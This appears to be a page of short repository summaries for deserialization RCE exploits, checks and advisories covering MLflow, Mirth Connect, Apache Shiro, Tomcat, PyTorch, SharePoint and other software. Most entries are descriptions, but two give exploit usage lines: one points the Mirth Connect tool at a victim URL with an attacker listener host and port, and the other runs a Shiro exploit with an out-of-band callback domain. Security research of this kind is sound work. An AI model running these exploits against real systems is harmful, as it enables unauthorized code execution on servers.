CVE-2024-37054

CVE-2024-37054 — MLflow Pickle Deserialization RCE MLflow Tracking Server における重大な pickle デシリアライゼーション脆弱性の概念実証エクスプロイト。認証されたリモートコード実行を可能にします。 ⚠️ 教育および許可されたセキュリティテスト専用です。自分が所有していないシステムや、明示的な書面による許可を得ていないシステムに対して使用しないでください。 脆弱性概要 フィールド| 値 ---|--- CVE ID| CVE-2024-37054 CVSS スコア| 8.8 HIGH CVSS ベクター|...

CVE-2025-55182-golang-PoC

CVE-2025-55182 React Server Components 远程代码执行 - Go PoC ⚠️ 仅供授权安全测试使用 ⚠️ 描述 CVE-2025-55182（又称 CVE-2025-66478）是 React Server Components（Flight 协议）中的一个严重远程代码执行漏洞。本工具是该 PoC 的 Go 实现，用于安全研究和授权渗透测试。 受影响版本： react-server-dom-webpack: 19.0.0 - 19.2.0 Next.js:...

CVE-2026-28326-check

SolarWinds Access Rights Manager 未认证 RCE — 漏洞检测脚本 针对 CVE-2026-28326 的未认证补丁状态检查，该漏洞是 SolarWinds Access Rights Manager ARM 中的未认证远程代码执行漏洞，已于 2026-09-17 在 ARM 2026.2.1 中修复。CWE-798，CVSS 8.8 高危 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。由 Armadin 的 Kai Huang 报告给 SolarWinds。 该向量中的 AV:A 假设 TCP 55555...

EXPLOIT-CVE-2026-56121

CVE-2026-56121 — Feast 未认证 RCE（ApplyFeatureView gRPC 反序列化） 在 Feast（ ⚠️ 仅限授权的安全测试和教育用途。 仅可针对随附的 Docker 实验环境或您拥有/被明确允许测试的系统运行。未经授权对第三方系统使用是违法的。 漏洞概述 Feast registry gRPC 处理器 RegistryServer.ApplyFeatureView 在任何授权检查之前 ，通过调用 OnDemandFeatureView.fromproto... 对传入的 feature-view 规范进行反序列化。对于 pandas 模式的按需...

CVE-2023-43208-PoC

Mirth Connect RCE 利用工具 CVE-2023-43208 此脚本是针对 Mirth Connect （4.4.1 之前版本）中远程代码执行（RCE）漏洞的概念验证（PoC）。它通过 API 利用 XStream 反序列化漏洞。 要求 Python 3.10 或更高版本（兼容 3.13）。 与目标的网络连接。 工具使用 python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto 安装 建议使用虚拟环境： python3 -m venv venv source...

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 XMLデシリアライゼーションRCE このリポジトリは、悪意のあるXMLデシリアライゼーションを利用したApache Struts S2-052 CVE-2017-9805のエクスプロイトを示しています。 このエクスプロイトは、INE eWPTX Practice Range – Struts XML Deserialization RCEラボ を解く際に作成されました。 脆弱性の概要 Apache Struts RESTプラグインは、XStream を使用してXMLリクエストをデシリアライズします。 アプリケーションが以下のXMLを処理する場合：...

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 — PHPオブジェクトデシリアライゼーションによるRoundcube認証後RCE 概要 フィールド| 詳細 ---|--- CVE| CVE-2025-49113 ソフトウェア| Roundcube Webmail 影響を受けるバージョン| ≤ 1.6.10 脆弱性| PHPオブジェクトデシリアライゼーション → RCE 認証| 必要 有効なユーザーであれば誰でも 影響| サーバー上でのリモートコード実行 コンテキスト| HackTheBox CTF中に発見 説明 Roundcube Webmail バージョン 1.6.10...

CVE-2025-24813

CVE-2025-24813 针对 Apache Tomcat 中 CVE-2025-24813 漏洞的概念验证 PoC 脚本。 该脚本基于相关链接进行了修改，并根据我的需求进行了调整。 搭建漏洞环境（Tomcat） 提供的环境基于官方 Tomcat 9.0.90 镜像。它移除了服务器的只读限制，并配置其将会话数据保存到磁盘。然后，通过将 ROOT.war 文件复制到 Tomcat 的 webapps/ 目录，自动部署应用程序。 docker build -t cve-2025-24813 . docker run --name cve-2025-24813 -it -d -p...

CVE-2025-32434-exploit

概要 このエクスプロイトは、PyTorchバージョン2.6.0未満における重大なリモートコード実行の脆弱性（CVE-2025-32434）を示しています。この欠陥は、モデルのデシリアライズ中に任意のコード実行を防ぐはずのweightsonly=Trueを使用している場合でも、torch.load関数に存在します。 この脆弱性は、weightsonlyunpicklerの実装がデシリアライズを適切に制限できないために発生し、攻撃者が悪意のある.ptモデルファイルを作成し、脆弱なPyTorchインストールで読み込まれると任意のシステムコマンドを実行できるようになります。 影響を受けるバージョ...

CVE-2016-4437

CVE-2016-4437 用于利用CVE-2016-4437 Apache Shiro反序列化漏洞（由于硬编码加密密钥）的Python POC 使用示例： ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun 更多信息请参见注释和代码。...

CVE-2026-43976

creationtimestamp| type| source ---|---|--- 2026-10-04 17:38:27+00:00| published-proof-of-concept| https://github.com/wger-project/wger/security/advisories/GHSA-c72h-82w6-rqfp...

sharepoint-deserialization-security-assessment

CVE-2026-45659 - Microsoft SharePoint 反序列化 RCE 顾问式网络安全报告 针对 SharePoint 反序列化风险的专业漏洞评估报告，涵盖执行摘要、技术影响、修复方案与缓解策略。 📍 报告概览 字段| 详情 ---|--- 报告类型| 漏洞评估报告 项目背景| 安全研究 主要关注点| 企业协作安全 目标受众| 安全团队、工程团队、招聘经理 输出风格| 执行摘要、技术分析、业务影响、修复路线图 发布状态| 已为公开作品集审查进行脱敏处理 !IMPORTANT 本报告特意为在 GitHub...

cve-2025-53770

CVE-2025-53770 SharePoint デシリアライゼーション RCE PoC Critical — 認証されていないユーザーが Microsoft SharePoint Server の安全でないデシリアライゼーションを介してリモートコード実行を行い、システムを危険にさらす可能性があります。（CVE-2025-53770） 説明 オンプレミスのMicrosoft SharePoint...

Security Bulletin: Vulnerabilities found in jackson-databind , addressed in APIM

Summary jackson-databind is upgraded and vulnerabilities are addressed in APIM 11.1 Vulnerability Details CVEID:CVE-2026-54512 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and...

richfaces-vulnerability-cve-2018-12533-rf-14310

演示 RichFaces 3.3.4 中的远程代码执行漏洞以及如何缓解和/或阻止 攻击示例 克隆仓库 解码 payload 反序列化 Java 类 生成用于测试漏洞的 payload 如何缓解？ 如果你确实需要这个端点 如果你不需要这个端点 理解执行流程 谁使用这个功能？ 提示 相关链接 关于 CVE-2018-12533 的详细信息。其他版本的 RichFaces 也存在漏洞，详见此处。 攻击示例 export...

Pickle-Deserialization-Exploit-in-Transformers

Transformers 中的 pickle 反序列化漏洞利用 实验简介 介绍pickle 反序列化机制及其reduce攻击原理，复现 Hugging Face Transformers 库中的反序列化漏洞CVE-2024-3568，分析 Transformers 库中的安全隐患并提出安全加固的有效方案。详细内容参见实验PDF文档 。 （poc作者代码详见CVE-2024-3568或者authorinf 文件夹） 关键信息 1. 漏洞位置 TFAutoModel.loadrepocheckpoint 方法（Transformers ≤ v4.37.2） 2. 攻击原理 恶意检查点中的...

x-stream__xstream_CVE-2013-7285_1-4-6

XStream “Java 到 XML 序列化，再返回” -- 二进制文件 ----------------------------------------------- 所有二进制工件都位于“lib”目录中。其中包括 xstream jar 包以及构建时使用的任何其他库， 或可选的运行时附加组件。建议使用 kXML2，因为它能 极大地提升 XStream 的性能。 -- 文档 -------------------------------------------------- 文档可在 docs/index.html 中找到。其中包含： 简介与教程 JavaDoc 变更日志 常见问题...

CVE-2025-59287-Exercise-Use

CVE-2025-59287 — WSUS 認証なし RCE CVE-2025-59287（Windows Server Update Services WSUS の認証なしリモートコード実行脆弱性）のためのパープルチーム演習スクリプトです。 許可された用途のみ。 自分が所有する、または明示的な書面によるテスト許可を得たシステムに対して、管理された演習環境でのみ使用してください。 動作原理 この脆弱性は、匿名でアクセス可能な WSUS SOAP エンドポイントを悪用し、悪意のあるデシリアライゼーションペイロードを WSUS データベースに注入します。ペイロードは、WSUS...

CVE-2025-24813-Apache-Tomcat-RCE-PoC

CVE-2025-24813 Apache Tomcat RCE PoC 描述 这是 CVE-2025-24813 的概念验证（PoC），一个 Apache Tomcat 中的远程代码执行（RCE）漏洞。该漏洞源于通过 HTTP PUT 请求上传的特制会话文件的不安全反序列化，允许攻击者在存在漏洞的 Tomcat 服务器上远程执行任意代码。 漏洞详情 CVE ID: CVE-2025-24813 受影响软件: Apache Tomcat versions 9.0.0.M1 to 9.0.98, 10.1.0-M1 to 10.1.34, 11.0.0-M1 to 11.0.2 类型:...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 React2Shell — 安全分析 概述 本项目是对 CVE-2025-55182 的技术分析，这是一个于 2025 年 12 月披露的严重远程代码执行 RCE 漏洞。 该漏洞影响 React Server Components，允许攻击者通过特制的 HTTP 请求执行任意代码。 视频演示 YouTube（未列出）： https://youtu.be/BEdAT175IU 技术细节 漏洞类型：远程代码执行 RCE CVE：CVE-2025-55182 攻击向量：恶意 HTTP 请求 根本原因：不安全反序列化 需要认证：否 攻击流程 1. 攻击者发送特制的...